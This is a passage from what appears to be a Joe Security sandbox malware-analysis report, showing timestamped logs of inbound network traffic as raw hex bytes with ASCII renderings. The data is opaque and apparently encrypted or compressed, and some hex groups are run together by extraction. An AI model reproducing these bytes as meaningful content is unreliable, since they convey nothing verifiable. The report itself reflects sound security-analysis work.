2021-11-08 19:52:33 UTC 2296 IN Data Raw: 43 5d 49 1b f4 51 4b 3b 0a de 6b bb 7b c3 56 0a 68 f7 13 82 bb 4d 01 cb 8f 32 7d 9d 9a 3d bb 39 71 cd 6b 09 41 01 f5 6a 91 4b d0 e3 70 1b 8f 8f e4 16 91 48 0d bb e0 aa 6f 8d 58 2f a0 f1 73 0a c4 ff f1 bb 79 42 04 af 5c fb 9f f6 ba 0f 8e ba a2 09 4a 38 9d d4 1b e1 18 5c f5 ac 31 9d db 7a c2 1a 87 a9 42 5c 9c 32 27 76 d4 3e d3 98 0a cc b4 2d 67 59 b8 2f 53 56 7e ef 43 07 9e 22 8b e0 8f c0 a5 04 12 d1 69 57 5c b5 df d0 39 99 6c 7c ad 1d d4 4b f7 0a ed c3 1f 79 19 6c fd 8f 80 17 7f 0a 00 c8 59 c9 6b 53 ae 5d fa e1 29 1c c1 67 e4 7e f5 7a 17 b4 93 88 cd d2 88 c8 da 82 1d 38 72 f4 03 cb 8e 53 bd a8 df ce 2b 65 13 9b 23 ca 21 ba f1 0d a8 cb 7d 1e 66 c2 5e 42 2b 6b 65 7d 08 cd b6 b5 45 6b d7 f8 c1 c8 20 15 55 d6 69 bf d9 d0 e1 5e 79 c4 98 3c d4 dc 19 d6 89 c9 5e Data Ascii: C]IQK;k{VhM2}=9qkAjKpHoX/syB\J8\1zB\2'v>-gY/SV~C"iW\9l|KylYkS])g~z8rS+e#!}f^B+ke}Ek Ui^y<^

2021-11-08 19:52:33 UTC 2312 IN Data Raw: b1 5d 53 51 a5 96 1c 87 e5 17 03 72 74 1b 66 94 13 dc 61 80 2e 41 2f cf 76 4f c8 d7 6c 2f 88 f9 fe 8b c8 ce 9f 33 cc 9e 5b 1b a9 67 b4 7f 4f f2 79 fd fc 6b ea 0e 6b ea 2d d9 4d 78 0b e0 c0 59 a7 1e 85 b3 8b f4 4a 53 b8 0b 3e a8 7e 6e d1 1b 47 6c 27 a0 7c f0 2c a2 52 3e 24 8b 90 ad 5e 83 14 0c d7 c4 f6 a3 57 f7 e3 90 c5 6a f9 60 12 55 ee 21 bc 67 b6 9f 5d 46 93 86 ad 38 1d a7 9c b7 a4 0e 1b dd da d0 85 28 8b 81 04 2d 44 92 70 f9 65 30 7e da 75 06 b6 c4 80 88 87 dc 90 3c e4 c5 4d c5 4d c5 54 dd 11 a6 b3 c5 82 0f 6a 88 37 b2 95 ed 00 10 1a 6b cb 0e 0d fd 9b 05 d6 cc 05 eb 7d cc 5e c5 db f3 ba 06 ec 89 b4 a8 79 a9 b1 ea ee 45 e2 1c 68 a4 c2 78 16 dd ed 24 88 d2 99 45 e8 34 8e 62 e2 cc 0d 91 dc ca b8 bf fa c1 de 13 15 b4 eb c5 df c0 11 10 2d 6f e5 ac 39 f6 42 Data Ascii: ]SQrtfa.A/vOl/3[gOykk-MxYJS>~nGl'|,R>$^Wj`U!g]F8(-Dpe0~u<MMTj7k}^yEhx$E4b-o9B

2021-11-08 19:52:33 UTC 2328 IN Data Raw: fc d8 da 26 d3 3b 5b 0a 96 7a ef 8a 61 65 a6 d9 ac 3d 06 90 70 80 4a 21 98 15 e0 62 e9 c6 44 8d 51 ec bb e8 ad 19 24 33 05 4d 46 79 15 56 8a fc ae 16 56 5f e2 3f 22 7d 47 37 b7 80 95 e4 4a a2 a1 8b fd 21 95 8f 3d 4f de 6d dd 3a bd 89 b2 05 77 01 2f 5d 2c 68 94 6e 3b 23 cf 06 13 ff ea 4a 99 58 42 8e 3b 84 e7 35 da 50 f6 5c 73 ce 26 a3 d0 6a 8f ec 5f 0e f1 b1 2f 0c a1 b3 7e f5 6f fc 20 4a d1 ae d0 62 27 3c 38 f2 92 3f 3d 82 23 52 d3 de 59 a2 f6 ae 17 ab ec 1a 0f c3 a9 20 95 00 95 5e ec ae 6f 07 c1 ea 15 6e e7 ae 1e a7 81 63 5c 1f 0d 4f b3 67 53 e3 bb f2 a4 91 cc b9 23 44 95 1c 8d f3 bd d0 f8 2c be 10 2e 6a 25 e1 be 6b 98 9d 83 b0 c1 87 8c 99 59 79 e9 1b ed 6d 39 e8 94 76 e6 7c 23 dc e1 65 65 06 04 08 e8 4f 0d 0f 58 f6 aa d3 a5 52 09 34 a4 3f 34 65 da e8 b8 Data Ascii: &;[zae=pJ!bDQ$3MFyVV_?"}G7J!=Om:w/],hn;#JXB;5P\s&j_/~o Jb'<8?=#RY ^onc\OgS#D,.j%kYym9v|#eeOXR4?4e

2021-11-08 19:52:33 UTC 2344 IN Data Raw: 3b 9c 74 26 b4 cd ca f0 bc f8 28 fd 93 a7 06 ef 71 8e 64 ee ff 50 cc 4e 73 d0 31 9d d3 79 e2 e8 b0 bb 45 ef 58 9f 48 43 59 07 e7 7e 30 b7 bc 1a 46 10 9e 27 37 70 8b aa 71 fd b0 00 79 d3 14 5e 6d 1a 62 b9 78 5c 1d 2f 53 16 e6 1e 11 1d 86 b8 eb 32 90 2b b0 5c 84 81 fa 67 bd e7 8b dc 16 3b 8a 07 f7 df 1e c5 13 de a5 20 1e d0 6e 9d 40 89 3d 1b a6 b5 cd ee d0 81 2c 47 35 36 1e 42 f7 d4 7d ee bb 24 6e 5a 4d fb 9e 6b 85 eb 50 bb 3d a0 ba f5 9d d6 c1 74 dd ec 55 f1 b9 1f b4 ce 0c d9 41 55 7c 6f aa 5f 00 82 80 7b 18 df 52 42 c5 18 b2 61 5e c4 dd 53 82 ef db 4f 24 f2 31 76 7b 8f d7 c8 59 39 7c 83 e0 8e 10 17 3c 97 4d 39 e3 94 1c 9b 5d 07 4c e4 fb 0d 67 19 2d 08 7a 11 1d 99 57 72 c6 34 0e 90 88 36 3a 4e a7 f7 86 1a 8f 41 e3 7f f7 af d4 87 c1 9d e7 ad 6b 39 46 1a db Data Ascii: ;t&(qdPNs1yEXHCY~0F'7pqy^mbx\/S2+\g; n@=,G56B}$nZMkP=tUAU|o_{RBa^SO$1v{Y9|<M9]Lg-zWr46:NAk9F

2021-11-08 19:52:33 UTC 2360 IN Data Raw: f0 54 b4 b7 7e 58 65 b9 0f 46 87 fe 75 85 06 2b 4c 5d 49 e2 2b ed 56 54 0d 19 4e e2 33 f8 66 e4 e4 54 71 b8 fc 10 65 13 fa f0 ae dd 2a de bb 41 d7 bd bf 4e ec 8f 5e 82 93 22 e8 f8 f0 fa 4d ce 9f 82 b7 f5 95 98 50 5a b8 96 36 6d 21 d6 24 19 2f 52 52 de f4 8c b8 f8 e1 c4 64 6f c7 95 f7 64 7a a5 6a 49 e4 bd c8 b5 e2 33 1b ef f3 cb 9a e2 7a 5f d1 d9 d4 e5 66 14 93 f0 ec 09 66 33 27 d7 28 ce f8 73 f4 ce 9e 16 6b 36 d9 58 02 60 38 d2 af 65 07 90 9b 18 b3 b9 95 1d 0e 50 79 0f 58 ae 68 85 02 e9 4a 61 71 51 ba 7f 4c 52 c4 76 5c f9 6b 1d 3e ea 8a d8 d3 36 fc 85 83 d5 90 ae 6f 8d 4c ab 05 39 a9 fb 32 bf 48 98 ac 97 cd 11 d0 53 d6 e9 56 b9 2e 07 ab 1c e2 a3 bc ad 39 bb d0 d6 34 7b e8 69 ca cf cc ce 33 90 57 a0 b1 7d 62 09 4f d5 5b 0f b4 64 3b 1f 0d ea 6d 54 1c 56 78 Data Ascii: T~XeFu+L]I+VTN3fTqe*AN^"MPZ6m!$/RRdodzjI3z_ff3'(sk6X`8ePyXhJaqQLRv\k>6oL92HSV.94{i3W}bO[d;mTVx

2021-11-08 19:52:33 UTC 2376 IN Data Raw: c9 8a fc 53 bb 68 ff 8c a6 c3 bb cf 5a 33 59 cd 66 3c 05 84 3a 48 c0 dd ce 7e 67 4d 90 f6 c3 dc 6e 42 09 45 41 1e 19 c4 13 f6 31 84 44 d5 99 11 36 16 26 0c d6 af f3 2a 0b af 86 d4 f4 a6 5e 23 dc 9f a4 bd 2b 4e ae de ff fd 40 13 84 07 ba a9 3f 72 25 d0 43 82 99 99 69 88 3a d7 07 82 16 04 fd 28 9a e7 c8 bf af c6 5e f3 81 4f a3 0d 1c 15 8e 81 0b 45 62 f0 90 f6 3d e7 6d 1b 97 c4 0e 48 b5 88 c9 b3 c0 95 21 97 9e d5 a3 62 10 d4 9d 27 a2 c2 18 5d b0 3e da da bf f9 1e 41 c1 56 78 5f 8f 94 46 cb 88 01 b3 ed f4 a5 6d 52 62 06 81 60 4c f5 23 9a f6 e8 44 74 6b f3 eb 4f cb fb 55 4f 87 30 04 71 43 66 c6 36 fe 94 5b 3e b1 c8 49 d9 67 85 83 e6 73 22 52 e2 4c 1d c9 92 fd 26 1e 8a 25 43 db ff 08 56 41 04 6d 3c c1 50 0b 34 b1 c0 b2 96 b3 59 89 d7 96 0c 23 20 fc 32 0e ad 58 Data Ascii: ShZ3Yf<:H~gMnBEA1D6&*^#+N@?r%Ci:(^OEb=mH!b']>AVx_FmRb`L#DtkOUO0qCf6[>Igs"RL&%CVAm<P4Y# 2X

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 35 of 51

2021-11-08 19:52:33 UTC 2392 IN Data Raw: 4e 74 71 64 1b 84 e4 6b eb 46 4d 48 80 ad 92 9b 80 45 95 70 5a 0c 9e 65 59 a7 97 fc 4d b8 25 df b6 2b 2a 43 e5 42 0a f3 19 1a 23 e4 75 26 3a 80 49 8a 3b 64 96 a9 ec a0 19 a8 8c 75 a9 4e 17 38 c5 ab 13 10 0a 51 6c ca de 42 c9 1b 13 ab 3e 23 81 41 0b 43 ef 1e 74 9d 92 e2 e4 59 83 13 c8 73 81 f3 60 43 95 56 7b 43 8e 88 cb 9c 63 1b b6 94 24 06 f9 2f b9 09 90 1d 55 93 37 16 09 e8 72 c1 08 90 7c f1 6e 0b 41 ab 7c f2 46 43 50 f8 be 9e 50 e9 2e 65 09 f5 6e 27 22 bb c0 a2 5d 0a ac 19 2b 71 81 2c fc d0 1e 04 c6 d6 62 5d 32 07 07 6e a3 86 e6 ef 13 92 f5 02 d9 54 36 6f b7 2b 34 ee e9 ef a6 92 b2 d4 7e cc 0e 6c 80 08 3a 96 2a 40 94 ce be 09 b2 a8 97 bb 93 6f be 3a f3 7c 37 ce 3f 03 0d 98 96 32 d2 e5 ee 56 25 51 a7 ce 89 d0 4a ea c2 3c 48 c6 62 54 b0 3f 14 fd 2f aa fd Data Ascii: NtqdkFMHEpZeYM%+*CB#u&:I;duN8QlB>#ACtYs`CV{Cc$/U7r|nA|FCPP.en'"]+q,b]2nT6o+4~l:*@o:|7?2V%QJ<HbT?/

2021-11-08 19:52:34 UTC 2408 IN Data Raw: 05 57 7f c4 0d 2a f8 95 45 50 37 83 7c ff 0e 37 4d 8d b2 fd 5e f9 eb 7c c5 7c 47 3b f1 57 ea 1e 74 7a a2 94 ff 04 c9 0b 78 be 49 65 3c 09 db 74 8d bc 75 80 22 16 a8 f8 0b aa ab eb 8f 69 1d 94 6b 7a 62 25 31 66 c6 72 de bc 53 b1 48 de d2 b9 93 89 a5 c6 93 24 a1 b0 03 4b 9d ac 64 19 93 7a 3f 2d 2a da f8 7a 03 c2 a9 96 4f d5 99 bf cb 6a 25 84 2c b6 82 3c 38 00 c2 89 fa 08 7b d6 ac 82 1a b9 d8 3b 78 55 ce eb 77 ac 32 eb 84 f7 a0 32 83 61 89 d8 65 45 3f 3b 9b 6b 36 97 d4 0f 97 4d e0 20 e2 ea d5 e5 1c 1d 60 f1 93 d2 dd 0f 99 98 62 31 a1 cc 7b 24 62 5c 57 16 69 7c 77 47 19 2b 2a 4a e2 19 9b 03 44 9e de 54 1e 86 12 b0 b1 d9 06 52 d2 62 39 7e 21 d4 be f8 4f 1f d3 4d ad a4 12 8f af 7f 9f 0f a0 76 e1 8a 3e d2 d4 a6 32 67 18 de 97 d8 55 42 00 15 62 1d 87 3e c3 29 09 Data Ascii: W*EP7|7M^||G;WtzxIe<tu"ikzb%1frSH$Kdz?-*zOj%,<8{;xUw22aeE?;k6M `b1{$b\Wi|wG+*JDTRb9~!OMv>2gUBb>)

2021-11-08 19:52:34 UTC 2424 IN Data Raw: 42 cc cb 90 b3 a6 b1 36 26 3b 9b f2 3a c1 cd 6e de 46 43 19 8b 2d dd 59 46 45 67 d4 a5 8b 68 91 85 3d 9c e9 4c 5b 78 95 0d 5b fd 48 cd 06 9e dc 12 20 0b e5 62 4e 74 98 8a 49 22 a0 ac 1f 1d 45 c4 d3 2c e7 31 1f 1c 53 d3 cb ed ea 7b 83 e2 c4 ef b8 5b 26 61 d6 a9 29 12 a4 b9 42 bc 3a 64 3c 6e ed ac 90 67 0b 50 01 05 3f 3c a5 af fb a4 43 d1 d3 8b b0 d1 98 33 93 d5 7a c4 25 57 f2 a3 ba 35 5f 03 e7 90 cc 4f da 00 da 20 58 c7 18 8a 78 29 55 1e e8 6d d8 d8 ac 10 36 5e fa e4 03 48 70 67 76 c7 50 14 71 0c a7 a1 2c e7 3a eb c3 8b bc 77 3f 5a a2 05 35 95 6d c8 5e 21 1a ec 55 6e 85 10 14 0f fd 29 fd b4 ff 17 27 4a 63 11 cf 44 07 cd 4c 15 76 c8 71 a3 ba ee 96 94 35 2f e8 75 a2 a0 56 ef be 5f d2 56 8f 1d 20 71 5e a7 71 d0 02 25 2f af 27 5c 2d ca 9c de 2c 26 20 a8 89 11 Data Ascii: B6&;:nFC-YFEgh=L[x[H bNtI"E,1S{[&a)B:d<ngP?<C3z%W5_O Xx)Um6^HpgvPq,:w?Z5m^!Un)'JcDLvq5/uV_V q^q%/'\-,&

2021-11-08 19:52:34 UTC 2440 IN Data Raw: 95 41 70 cd 0b 20 b8 dd 46 2c 5f bb 72 cf a8 33 ec ff fc 3f 4d 90 d8 06 ca 05 3f 0c e2 eb 82 9a 9b 03 d6 ae f0 68 ee 9d b0 39 c6 a7 6e fa 9c 72 74 d5 ff 91 f2 d9 b4 52 36 b6 5f e7 bc ee ed f8 0d 9c cb a3 b6 b3 27 57 27 2c e6 14 ce 08 8e 7e 14 23 36 58 51 94 8a 25 f9 f1 b9 9e 3d ba 36 3f 45 c4 40 84 65 3a a9 8a 13 a1 ca 35 af eb 5e 5d e5 c4 25 70 a9 4b 3d cb 86 08 19 49 f2 bb 83 9a 24 4b 16 e6 a7 e9 5d 79 35 3d c5 20 39 1f 44 e7 72 4f 1a 76 c2 56 99 77 b4 0b 0e b7 92 eb c4 dc 20 d1 30 8b b5 0c 26 d4 81 a1 1c fb 68 13 32 5d df 60 5e a1 8e 95 92 96 90 04 ec d7 f0 d3 1f 8d 51 f8 c7 23 59 bf 96fd 08 7f 2a 1c c5 08 0c b9 83 47 9d 5e a2 c8 44 d4 85 fa 4d ef 0d dd b2 a7 00 b8 8f 50 4d d4 92 63 41 53 06 c6 32 bd d5 a7 da 74 40 02 12 73 38 67 4a 80 eb 42 41 d4 4b Data Ascii: Ap F,_r3?M?h9nrtR6_'W',~#6XQ%=6?E@e:5^]%pK=I$K]y5= 9DrOvVw 0&h2]`^Q#Y*G^DMPMcAS2t@s8gJBAK

2021-11-08 19:52:34 UTC 2456 IN Data Raw: f9 00 82 3e 79 e5 4f 31 fe e2 a1 dd 57 19 e9 30 cc 26 20 b0 50 62 eb de 1f eb 15 85 e8 44 bc 97 4f 0f 3b e2 2e d3 0a 97 98 b8 67 af 9d bc 76 b0 0e dd c6 b2 61 df 73 be 82 eb 64 ed 1d 67 ce 4b 02 fb a5 69 85 f0 94 c3 78 ce ce 05 2c a5 0b 87 06 14 fc 82 2a 30 5f 71 d9 a5 48 0a 2c 26 18 50 45 f3 22 78 21 f0 6d d2 03 f6 6c a2 f6 fa 0d 84 c8 3d 0e 88 94 da 64 76 61 f8 72 ef e4 e3 8a 95 04 19 b7 aa e7 82 75 07 77 ce dd ff 38 79 e4 0c 41 66 28 3b 35 95 7f af 0b b8 d4 b8 fd 12 1a a4 04 77 5b 15 bd dd 05 e2 24 d1 c7 bd f7 c5 74 8c 5e f3 41 9a eb 55 f1 92 78 2e ac ce 23 60 2a 79 4b ad e2 8b e4 69 85 36 70 5a 08 33 03 01 80 a3 0e 6f 2a 1a f8 1f 02 87 92 42 24 8e c9 ad ac c8 03 5b b5 d6 b7 6c 68 73 f1 2e 50 0f 27 5b 46 fb 88 07 39 9d 6c 63 6a 3c 70 1c b3 45 82 4c 82 Data Ascii: >yO1W0& PbDO;.gvasdgKix,*0_qH,&PE"x!ml=dvaruw8yAf(;5w[$t^AUx.#`*yKi6pZ3o*B$[lhs.P'[F9lcj<pEL

2021-11-08 19:52:34 UTC 2472 IN Data Raw: 7b 4c 67 f9 14 56 45 15 0a 6e 67 de 38 d2 e9 09 5f 77 3d 16 eb cd 83 62 ba b7 79 b2 e7 93 61 ef 0b 5f e9 c8 82 8f 11 cf 62 3a d6 e5 57 f0 08 51 4b be 4c a3 23 30 c9 d6 14 ca 88 38 1e d4 e9 aa 51 b8 07 d1 d9 c4 5d 0a 73 95 48 e1 5b ec a9 28 88 88 7f 14 73 c4 1a d5 00 a4 84 dc ec 43 35 92 f4 e0 b6 bc e4 4b d0 ce 0c 33 f3 40 80 fd 41 95 ce e0 8a 67 03 8b d6 80 99 7d 77 13 3f 5a 38 24 2b 2f cf 36 bb 85 1f e3 3c 88 a1 01 4e 32 27 2d 84 0e 70 c7 b8 16 33 13 5f f1 20 02 65 6c 9c d8 37 80 02 dd bb c9 86 c0 ed 09 f4 ea 0f 6c eb 38 50 84 74 43 60 9e 2b 82 00 1f 0a 7d d2 b2 a4 00 80 f1 a6 28 72 a6 72 81 4e 61 b5 9e e2 73 22 76 42 42 f5 ae 92 0f c4 98 5c 72 4a bc 6c df b6 6a ba c0 dc 57 86 2f 4a 3e d0 0f 94 bf 29 c9 d4 16 ce 4b 33 6e 28 55 f5 71 c1 29 53 55 fb a8 0d Data Ascii: {LgVEng8_w=bya_b:WQKL#08Q]sH[(sC5K3@Ag}w?Z8$+/6<N2'-p3_ el7l8PtC`+}(rrNas"vBB\rJljW/J>)K3n(Uq)SU

2021-11-08 19:52:34 UTC 2488 IN Data Raw: f2 fb ef f3 19 b9 e6 88 14 88 c6 1d 2c fb 91 b3 2b ce 59 c6 14 2a f7 41 98 1d da c0 18 b3 e2 29 35 c1 d8 02 a3 cb 30 11 dc b1 ce f3 15 e2 aa 1f a3 c4 52 7e e9 e9 87 b8 21 42 e6 4f 64 b4 a7 9e 47 4d f1 82 f4 22 d3 a7 17 42 07 f0 28 68 93 46 c2 30 4f ae e0 3d 37 df a4 7c eb 42 57 b4 af 79 1f 90 c6 a2 c2 c5 29 df 6a 87 63 f5 ab c0 d9 69 dc f4 58 e6 9e 15 5b d8 05 c2 34 4e a5 f8 89 01 50 e2 1e 7e 18 c2 6d d0 e7 78 65 86 69 1c 58 05 74 9e 31 1f d9 1e c3 aa 38 6c 8d f8 c9 54 b2 97 9c 8e f8 fd 32 ca 43 9f 97 9c 17 44 9f 70 a3 40 c2 77 89 1e 1b a1 04 a4 f0 24 45 7f ce dc 69 0d e1 0e 07 73 d2 d4 f8 7d e8 2f 1f b1 cc 00 d8 55 74 c9 ac d6 35 9d 13 e8 b5 25 6f 1f aa e0 d0 57 a3 22 dd be bf ec ba a8 a4 34 8f 41 34 62 c7 31 81 16 ee ff a1 26 78 72 cc 65 55 b6 9d 7a a9 Data Ascii: ,+Y*A)50R~!BOdGM"B(hF0O=7|BWy)jciX[4NP~mxeiXt18lT2CDp@w$Eis}/Ut5%oW"4A4b1&xreUz

2021-11-08 19:52:34 UTC 2504 IN Data Raw: d7 f6 9f 07 f0 3e 55 bf 30 80 c5 99 2c 2f d6 d2 c7 5c 94 d6 ef 67 45 d9 05 3c ea fc b1 c8 e1 57 c2 ee e1 7f 13 6e c9 0e 27 2f 05 da 3a f8 d6 13 08 2a 38 32 af 42 ae 36 db 11 08 c1 0c a9 93 f9 85 66 75 cb d8 21 ec 43 02 f1 df 75 68 23f7 62 b4 76 4a 06 2c e9 03 b4 2f 3d 3a cc 12 bc f2 b3 86 18 c0 46 43 7c ee 94 eb 1e b8 1d 6f 2d 52 a9 33 0d d4 80 7e 67 48 a7 ca 71 02 a6 06 d8 68 90 15 30 be c3 c8 98 e2 b6 10 1c 3c 82 4e cd 86 62 b1 19 a8 55 e7 77 49 b5 47 76 72 2e fb 1e 5b 50 5d 0b d5 bc 0c 81 97 43 98 87 28 63 d1 88 a2 19 06 df 64 38 9d 49 9c 66 d1 c0 da e4 f6 75 a8 18 8e 55 d1 0c c9 a5 9f c6 61 58 83 a1 6c e9 2c ef 4a e6 23 ce e7 5e dd 9f fe 3b bb ba f0 d7 2a 60 0c 62 ab e9 2f f3 f8 30 99 49 d0 d8 a0 b8 70 e6 40 46 9f 7d c3 57 ac 8f 86 f9 ca 00 54 ef 95 Data Ascii: >U0,/\gE<Wn'/:*82B6fu!Cuh#bvJ,/=:FC|o-R3~gHqh0<NbUwIGvr.[P]C(cd8IfuUaXl,J#^;*`b/0Ip@F}WT

2021-11-08 19:52:34 UTC 2520 IN Data Raw: 6e 11 bd 2f b7 c4 08 03 51 a9 24 54 b5 50 fd 59 c0 3a b4 06 d9 ad 17 1c 49 1c c0 3e 79 e7 6c 38 61 17 de 13 80 bb d0 ba 3c c5 b8 6a 00 04 b6 af 56 45 9d 84 33 9c 07 5b 9d e8 4f 0f 54 8f dc e7 08 1f e6 4c f7 42 70 bb 6c a9 f9 78 87 8d 9a 41 db 3f c1 03 2c c2 19 26 14 59 9c a6 51 14 10 db 0c c1 a6 08 ff 9b ae fc 0f cb a9 6e 0c f0 36 e8 64 be 71 3e dd df 52 7d ab 2e b7 10 69 6c 50 5f e8 35 92 34 e8 19 8c 63 52 3b 3f a7 76 e1 a0 93 2e a6 07 88 69 f1 da 17 48 c7 11 a0 cc ae f1 c7 a4 66 9d 48 86 fb c4 d9 39 5b 69 2a 1e f1 a7 21 18 ea 33 b2 7a 89 34 d5 e5 45 32 c8 01 95 c7 e1 54 6f 93 48 7c fa f3 f8 db de 4b 86 fc af 8e e8 75 33 00 be 98 79 db 77 2d bc ad e6 12 9c e9 23 62 73 6a 0f b8 c1 b6 34 34 b0 37 f1 00 06 13 48 5a 64 50 48 07 57 a5 77 aa 67 34 f7 5e ba 8c Data Ascii: n/Q$TPY:I>yl8a<jVE3[OTLBplxA?,&YQn6dq>R}.ilP_54cR;?v.iHfH9[i*!3z4E2ToH|Ku3yw-#bsj447HZdPHWwg4^

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 36 of 51

2021-11-08 19:52:34 UTC 2536 IN Data Raw: af 84 3e 70 e6 bd 40 dd a1 0e 2b d6 ab d5 6c 33 13 86 62 f7 29 2b 45 b0 9f fe ff 4a 9b 57 da 7e c8 02 55 3f 51 1d 8e 44 a4 84 c9 c6 91 11 38 05 0e 9c d8 e3 46 13 64 43 85 b3 8a b0 8f 52 9e b0 ab d5 c7 53 6e 27 7f d9 7c 55 00 1d ca f2 a5 69 48 77 d2 35 c3 ba ee b9 f2 7a dd a7 08 e9 c8 fb 5b 4f 57 a0 26 3f e6 ba 3c e1 ce 30 38 d7 95 ce 46 77 2b 94 e7 b4 73 d3 6d d2 7d c7 f1 1b 2e 02 2b 26 b2 4d 94 f4 cb 37 ac dd e7 2d 03 e8 29 48 e8 e7 c6 5e ee 5b d0 2e cd 9d ad a4 c5 14 26 29 e0 bf 85 bd a4 db cb 10 05 60 23 2a a3 c2 e8 d6 9e 40 24 2e b2 53 cf bd 03 b6 64 0d a0 10 1e f1 da 43 ea 69 17 3e 44 7c 2f 74 b3 8a 32 65 f8 c8 c3 43 41 18 e5 de 57 4a 76 8c 76 24 58 7c b5 42 33 bb 42 14 7f 25 6a e1 00 78 7d a6 ca c0 c7 34 40 b4 9e 87 5f 3d d1 42 b6 77 aa a7 68 79 b5 Data Ascii: >p@+l3b)+EJW~U?QD8FdCRSn'|UiHw5z[OW&?<08Fw+sm}.+&M7-)H^[.&)`#*@$.SdCi>D|/t2eCAWJvv$X|B3B%jx}4@_=Bwhy

2021-11-08 19:52:35 UTC 2552 IN Data Raw: b5 40 e5 3d 7f ee 3a 40 5f bb 6b f4 86 38 3b 39 40 9c 5b 0d c9 5c b8 63 c9 5f 9d 6d da ea f7 df 5a 0d aa 5d 2f 70 f4 94 2f 12 04 21 67 a1 f3 e5 ae 56 7c da dd c3 29 ce 6d 1e e9 5c 55 0c 0a f0 2d 14 aa cb 07 29 be bb 3b 96 7d 0f 4c 15 ff 57 b9 88 fe d2 d9 79 e7 fb 57 a3 d6 53 e3 0f 11 45 4d 80 26 30 73 42 36 20 13 ed a7 fb e9 4c bc a2 5d 08 f5 1f c3 67 01 6a ae 3b 52 31 46 92 38 a7 b3 7b be 81 55 0b 93 a5 85 c5 22 69 a5 97 b7 1a cc 7c 77 70 33 da 6c 79 66 8f 61 f9 a5 1f 9e 87 b6 b0 c1 8d 2b 13 6a b9 e0 21 b2 06 fe bd 49 9a 54 f4 9a 41 a5 cd d8 bc 55 fe 18 96 2b a4 e2 61 9e cd fe a9 47 fd e2 2b a7 dc 8b 33 3f 7e 09 5d d0 99 f3 69 db 91 90 cb 26 90 ad cb 0c d1 e3 a5 5c ae 5a 89 af 66 c3 19 a9 51 5a 53 43 02 0e 36 60 31 d1 a3 cc 7b 9c d6 8d 3c e0 75 0b 35 b5 Data Ascii: @=:@_k8;9@[\c_mZ]/p/!gV|)m\U-);}LWyWSEM&0sB6 L]gj;R1F8{U"i|wp3lyfa+j!ITAU+aG+3?~]i&\ZfQZSC6`1{<u5

2021-11-08 19:52:35 UTC 2568 IN Data Raw: 3d 4e 21 a7 b3 60 83 22 05 d5 23 ae 32 5e 1b 4c 7e fe c4 4c a2 04 92 6a 1b 2e 16 ae b7 b1 37 2b 1b 84 36 47 a7 e2 2e 11 b8 67 9f c8 23 01 42 c1 d5 3e c9 d8 61 9f 76 dc ad 74 f9 55 dd cc fc b8 99 83 64 5d be c3 90 80 27 f2 74 23 68 95 2c bf 67 3c 01 55 ab 1a b6 1b c5 aa c4 02 7a 5b ac ee b6 76 43 2a 43 24 d4 01 0d 1f 5f 57 00 9a 1e d3 e5 33 7d 4e 16 b8 af 8c 06 66 8a b4 5e 36 2f 70 d0 3d 82 6c ca 53 d2 52 7c ee f2 c3 d6 47 d3 f0 f6 ec 2b 8c 76 50 d6 21 75 1e 77 0e 1d4d 81 3f c2 22 4d 98 0e 62 50 eb bb cb 67 57 ef 88 55 d6 af 77 5a 7a c7 da a3 a1 63 f6 b6 33 07 c5 4d 25 54 f5 d2 64 6e 38 f3 be 4b 45 f4 d4 78 44 d3 9e b1 5d cc 4c 7f 31 39 92 b4 23 ae 6e 4b 28 09 4a ac ed 95 7c db 9d 3d 6f 19 72 ea f3 12 40 67 cd b6 6c f2 ed f4 cf 40 9b 11 2d bd e5 d9 2c a9 Data Ascii: =N!`"#2^L~Lj.7+6G.g#B>avtUd]'t#h,g<Uz[vC*C$_W3}Nf^6/p=lSR|G+vP!uwM?"MbPgWUwZzc3M%Tdn8KExD]L19#nK(J|=or@gl@-,

2021-11-08 19:52:35 UTC 2584 IN Data Raw: 85 cd 0a 14 fd 85 60 52 05 3a 0f ed ee 6a a1 9a 61 62 84 98 46 67 99 42 39 0a fd 65 53 91 d7 80 3b cf c0 bd fe 23 ce 7a a2 dd f3 ef fd 53 2a c0 bf d5 78 16 35 ff 9a d5 04 6f f9 f9 0b be 83 20 00 8f d4 35 ae 09 25 bd 08 02 04 d6 0f 95 0d 9e 19 ff b9 27 56 6f 78 79 b6 1f 60 e7 8c d7 57 77 90 b5 65 90 3a c6 3f a8 89 d1 9e 7c 5b 0e 5a 0a c5 4b 1b cd 2d 74 15 3f 58 ea f6 cb e6 0f ad 47 8a 06 f4 f4 7a f4 d6 4f 47 c1 47 d4 47 d7 31 89 86 32 7a 94 f5 2d 5b e3 cb 45 be 5d c0 ac 06 4e 65 2b d6 a9 5e 2d b5 82 29 58 1e 6e 7f 0b 7e f5 8c f9 66 63 b3 87 7e b5 62 be b9 18 91 08 10 27 0b ac 33 c1 cf eb 9d dc 2e ee 16 3e 7e d8 a9 b6 95 35 39 ec 21 23 6b a2 d2 ce c5 be d9 ba 39 c4 dd 2d 71 4c 3d 5b b5 8f c4 b7 55 e2 6d fd 1f 1b 5b bc 34 19 a0 f7 d4 b5 d8 f6 5d df 25 1e 1f Data Ascii: `R:jabFgB9eS;#zS*x5o 5%'Voxy`Wwe:?|[ZK-t?XGzOGGG12z-[E]Ne+^-)Xn~fc~b'3.>~59!#k9-qL=[Um[4]%

2021-11-08 19:52:35 UTC 2600 IN Data Raw: e6 e7 e7 3b 1a 4f 3f c2 11 fa aa aa a5 39 d6 7b 72 e4 0e 66 19 cd 80 1a 60 a7 63 5e 93 ce 40 a8 58 03 f8 7f 05 8e 2d e9 b3 56 92 e1 be 8d 7b cf c0 4f 5a 43 b5 50 dd d3 cf 8e 5d 2e ce ff 9b 81 41 4a ae d7 10 7e 4c 2a 70 1b ea e8 98 de 74 14 5f 27 32 a4 d6 f8 c6 aa 97 33 1f e5 9e 6c 0a e5 16 c0 3e 5e a7 65 32 2e 42 9b 50 a0 e2 52 ec b0 39 80 ab cb 8d 22 c2 e9 36 f8 4d 77 37 20 7c ae 5d 04 31 da 46 63 46 d4 fe 71 f3 1e 7a 71 ce 05 82 12 30 86 24 91 7c 6c fb 49 f9 5c 6f c7 0d c6 a5 a1 de b7 5f 74 a4 bc 53 86 07 46 37 44 7f 79 ae 46 2e 12 03 97 96 92 2b 16 15 8e 47 6b 99 6b 42 57 44 18 97 03 d8 2f e3 30 8b ba 96 03 7d f2 c9 8f 28 87 a3 c3 d9 4b d1 cb 3b 1a 8b bb 2e 27 86 43 75 75 a3 23 a4 b9 ed f5 90 6a 22 4f 0e e5 11 2f de 58 